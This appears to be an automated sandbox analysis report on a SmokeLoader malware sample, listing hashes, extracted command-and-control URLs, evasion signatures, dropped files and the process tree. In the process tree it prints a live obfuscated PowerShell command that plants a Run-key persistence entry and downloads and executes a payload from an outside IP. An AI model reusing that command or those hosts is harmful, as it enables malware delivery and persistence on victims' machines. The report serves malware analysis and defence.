Analysis

  • max time kernel
    151s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    13-08-2021 08:10

General

  • Target

    e092c290ecbe05b96a01a8557d202191.exe

  • Size

    180KB

  • MD5

    e092c290ecbe05b96a01a8557d202191

  • SHA1

    81ce24f7af893885025cb184de98da3bee563169

  • SHA256

    7984865f4df4f3569df5096b7a2b6bf03f070a9ef5fb6e46d3365e40e2f92a01

  • SHA512

    8dc9553013af612b8b5099bdeff2eaf021a2369298428460e4a349220c8db912e3a34f45eba9fbd89e9ea96f5d672d0eb9a9373b497130206bc5e3b4de963799

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e092c290ecbe05b96a01a8557d202191.exe
    "C:\Users\Admin\AppData\Local\Temp\e092c290ecbe05b96a01a8557d202191.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:452
    • C:\Users\Admin\AppData\Local\Temp\e092c290ecbe05b96a01a8557d202191.exe
      "C:\Users\Admin\AppData\Local\Temp\e092c290ecbe05b96a01a8557d202191.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1936
  • C:\Users\Admin\AppData\Local\Temp\22FB.exe
    C:\Users\Admin\AppData\Local\Temp\22FB.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:1404
  • C:\Users\Admin\AppData\Local\Temp\26D3.exe
    C:\Users\Admin\AppData\Local\Temp\26D3.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1252
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1460
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
          PID:1588
    • C:\Users\Admin\AppData\Local\Temp\2934.exe
      C:\Users\Admin\AppData\Local\Temp\2934.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1660
      • C:\Windows\SysWOW64\cmd.exe
        cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
        2⤵
        • Drops startup file
        PID:848
    • C:\Users\Admin\AppData\Local\Temp\2ABB.exe
      C:\Users\Admin\AppData\Local\Temp\2ABB.exe
      1⤵
      • Executes dropped EXE
      PID:540
    • C:\Users\Admin\AppData\Local\Temp\30E4.exe
      C:\Users\Admin\AppData\Local\Temp\30E4.exe
      1⤵
      • Executes dropped EXE
      • Checks BIOS information in registry
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of AdjustPrivilegeToken
      PID:1572

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\Runtimebroker.exe

      MD5

      4f2f17aaf39970811b9f822b1496dc01

      SHA1

      bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

      SHA256

      3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

      SHA512

      44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

    • C:\ProgramData\Runtimebroker.exe

      MD5

      4f2f17aaf39970811b9f822b1496dc01

      SHA1

      bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

      SHA256

      3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

      SHA512

      44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

    • C:\Users\Admin\AppData\Local\Temp\22FB.exe

      MD5

      a69e12607d01237460808fa1709e5e86

      SHA1

      4a12f82aee1c90e70cdf6be863ce1a749c8ae411

      SHA256

      188e05efb42c1f7fdb5c910a6614f710a87ae642b23ac9ffe3f75246744865bc

      SHA512

      7533e6da6bac0405fc8b608da8020b54b6ee02592e6fd40ea342e130a8a876ae5ef4a1fd636d95e76339dbf8be45cecbd22ca2d0a4635b055ffafec3d7e15284

    • C:\Users\Admin\AppData\Local\Temp\26D3.exe

      MD5

      4f2f17aaf39970811b9f822b1496dc01

      SHA1

      bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

      SHA256

      3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

      SHA512

      44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

    • C:\Users\Admin\AppData\Local\Temp\26D3.exe

      MD5

      4f2f17aaf39970811b9f822b1496dc01

      SHA1

      bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

      SHA256

      3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

      SHA512

      44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

    • C:\Users\Admin\AppData\Local\Temp\2934.exe

      MD5

      b19ac380411ed5d8b5a7e7e0c1da61a6

      SHA1

      9665c20336a5ce437bbf7b564370bfa43e99954c

      SHA256

      aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

      SHA512

      73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

    • C:\Users\Admin\AppData\Local\Temp\2934.exe

      MD5

      b19ac380411ed5d8b5a7e7e0c1da61a6

      SHA1

      9665c20336a5ce437bbf7b564370bfa43e99954c

      SHA256

      aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

      SHA512

      73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

    • C:\Users\Admin\AppData\Local\Temp\2ABB.exe

      MD5

      5707ddada5b7ea6bef434cd294fa12e1

      SHA1

      45bb285a597b30e100ed4b15d96a29d718697e5e

      SHA256

      85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

      SHA512

      91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

    • C:\Users\Admin\AppData\Local\Temp\2ABB.exe

      MD5

      5707ddada5b7ea6bef434cd294fa12e1

      SHA1

      45bb285a597b30e100ed4b15d96a29d718697e5e

      SHA256

      85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

      SHA512

      91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

    • C:\Users\Admin\AppData\Local\Temp\30E4.exe

      MD5

      717d65dba56f47e540dca074c3977b3d

      SHA1

      d58aa30f826f41663e693f0ad930fdce584f1672

      SHA256

      61fb1160ae372d9ba1c95400d5439450c6a66cdf073fa50ee2d5d10c4952cbb3

      SHA512

      b06e4358411eb8f6315c574922c021bd57218b3e6a0ed727df6b44e20e7818d40fb0347050ce9145ea7e0fd56a7fa93a2358e524c0df030d6d44067c7c83510d

    • C:\Users\Admin\AppData\Local\Temp\s.bat

      MD5

      c5a856f88c4a9751a02aa9720f69a67d

      SHA1

      b5ddcc11560ee2fbb9b30ebb040a5c1b03184a97

      SHA256

      8783f9f08cd4825b7aa0f01ee96ab5d827fcd4ec727667962a3e84c894c29734

      SHA512

      71aa4addfe6134721c322b39b9e5e8876e2f88ac44931fbef78ba89d763e9aa2fbf4809529dcd7151f6c1dd645463a2a24427f26138fa2bc0eb792d8ea67450b

    • \ProgramData\Runtimebroker.exe

      MD5

      4f2f17aaf39970811b9f822b1496dc01

      SHA1

      bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

      SHA256

      3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

      SHA512

      44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

    • \ProgramData\Runtimebroker.exe

      MD5

      4f2f17aaf39970811b9f822b1496dc01

      SHA1

      bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

      SHA256

      3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

      SHA512

      44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

    • memory/452-63-0x0000000000220000-0x000000000022A000-memory.dmp

      Filesize

      40KB

    • memory/540-81-0x0000000000000000-mapping.dmp

    • memory/540-91-0x0000000004A20000-0x0000000004A21000-memory.dmp

      Filesize

      4KB

    • memory/540-86-0x0000000000890000-0x0000000000891000-memory.dmp

      Filesize

      4KB

    • memory/848-102-0x0000000000000000-mapping.dmp

    • memory/1252-72-0x0000000000220000-0x000000000025B000-memory.dmp

      Filesize

      236KB

    • memory/1252-69-0x0000000000000000-mapping.dmp

    • memory/1252-82-0x0000000000400000-0x0000000002C7C000-memory.dmp

      Filesize

      40.5MB

    • memory/1356-64-0x0000000003CB0000-0x0000000003CC6000-memory.dmp

      Filesize

      88KB

    • memory/1404-65-0x0000000000000000-mapping.dmp

    • memory/1460-85-0x0000000000400000-0x0000000002C7C000-memory.dmp

      Filesize

      40.5MB

    • memory/1460-78-0x0000000000000000-mapping.dmp

    • memory/1572-93-0x0000000000160000-0x0000000000161000-memory.dmp

      Filesize

      4KB

    • memory/1572-96-0x0000000004A80000-0x0000000004A81000-memory.dmp

      Filesize

      4KB

    • memory/1572-88-0x0000000000000000-mapping.dmp

    • memory/1588-107-0x0000000004960000-0x0000000004961000-memory.dmp

      Filesize

      4KB

    • memory/1588-111-0x00000000025D0000-0x00000000025D1000-memory.dmp

      Filesize

      4KB

    • memory/1588-110-0x0000000004962000-0x0000000004963000-memory.dmp

      Filesize

      4KB

    • memory/1588-109-0x00000000049A0000-0x00000000049A1000-memory.dmp

      Filesize

      4KB

    • memory/1588-99-0x0000000000000000-mapping.dmp

    • memory/1588-108-0x0000000000EC0000-0x0000000000EC1000-memory.dmp

      Filesize

      4KB

    • memory/1660-73-0x0000000000000000-mapping.dmp

    • memory/1660-104-0x0000000000400000-0x0000000002D86000-memory.dmp

      Filesize

      41.5MB

    • memory/1660-103-0x0000000004DA0000-0x0000000004FB1000-memory.dmp

      Filesize

      2.1MB

    • memory/1660-95-0x00000000033A0000-0x00000000035E3000-memory.dmp

      Filesize

      2.3MB

    • memory/1660-97-0x0000000000400000-0x0000000002D86000-memory.dmp

      Filesize

      41.5MB

    • memory/1936-61-0x0000000000402E1A-mapping.dmp

    • memory/1936-62-0x00000000753E1000-0x00000000753E3000-memory.dmp

      Filesize

      8KB

    • memory/1936-60-0x0000000000400000-0x0000000000409000-memory.dmp

      Filesize

      36KB